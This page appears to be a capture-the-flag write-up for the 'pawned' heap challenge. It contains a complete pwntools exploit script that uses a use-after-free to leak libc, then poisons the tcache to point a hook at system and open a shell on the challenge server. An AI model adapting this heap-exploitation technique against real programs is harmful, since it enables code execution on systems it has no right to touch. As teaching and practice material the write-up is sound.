pawned
pawned was a basic heap challenge that consisted on an use-after-free bug.
Files
The binary


Leak libc
Tcache poisoning

Final exploit
Last updated
pawned was a basic heap challenge that consisted on an use-after-free bug.



Last updated
#!/usr/bin/env python
from pwn import *
import sys
# Defitions
e = context.binary = ELF('./pawned',checksec=False)
libc = ELF('./libc-2.31.so',checksec=False)
if args.REMOTE:
io = remote('challenge.ctf.games',30197)
else:
io = process(e.path)
def alloc(len,data=''):
io.sendlineafter('> ','s')
io.sendlineafter(': ','1')
io.sendlineafter(': ',str(len))
io.sendlineafter(': ',data)
def free(idx):
io.sendlineafter('> ','b')
io.sendlineafter(': ',str(idx))
def dump():
io.sendlineafter('> ','p')
def edit(idx,len,data=''):
io.sendlineafter('> ','m')
io.sendlineafter(': ',str(idx))
io.sendlineafter(': ','1')
io.sendlineafter(': ',str(len))
io.sendlineafter(': ',data) [...]
alloc(0x600) #1
alloc(0x10) # 2 avoid top-chunk consolidation
free(1)
dump()
[...]def leak_libc():
io.recvuntil('Name: ')
leak = u64(io.recv()[:6].ljust(8,'\x00'))
return leak - 0x1ebbe0#!/usr/bin/env python
from pwn import *
import sys
# Defitions
e = context.binary = ELF('./pawned',checksec=False)
libc = ELF('./libc-2.31.so',checksec=False)
if args.REMOTE:
io = remote('challenge.ctf.games',30197)
else:
io = process(e.path)
def alloc(len,data=''):
io.sendlineafter('> ','s')
io.sendlineafter(': ','1')
io.sendlineafter(': ',str(len))
io.sendlineafter(': ',data)
def free(idx):
io.sendlineafter('> ','b')
io.sendlineafter(': ',str(idx))
def dump():
io.sendlineafter('> ','p')
def edit(idx,len,data=''):
io.sendlineafter('> ','m')
io.sendlineafter(': ',str(idx))
io.sendlineafter(': ','1')
io.sendlineafter(': ',str(len))
io.sendlineafter(': ',data)
# Exploit
def leak_libc():
io.recvuntil('Name: ')
leak = u64(io.recv()[:6].ljust(8,'\x00'))
return leak - 0x1ebbe0
def pwn():
alloc(0x600) #1
alloc(0x10) # 2 avoid top-chunk consolidation
free(1)
dump()
libc.address = leak_libc()
io.sendline('0') # realign I/O stream
log.success('Libc: ' + hex(libc.address))
alloc(0x40) #3
alloc(0x40) #4 tcache poison
alloc(0x40) #5
free(3)
free(4)
edit(4,0x40,p64(libc.address + 0x1eeb28))
free(2)
alloc(0x40,'/bin/sh') #6
alloc(0x40,p64(libc.sym['system'])) #6
free(6)
io.recv(1024)
pwn()
io.interactive()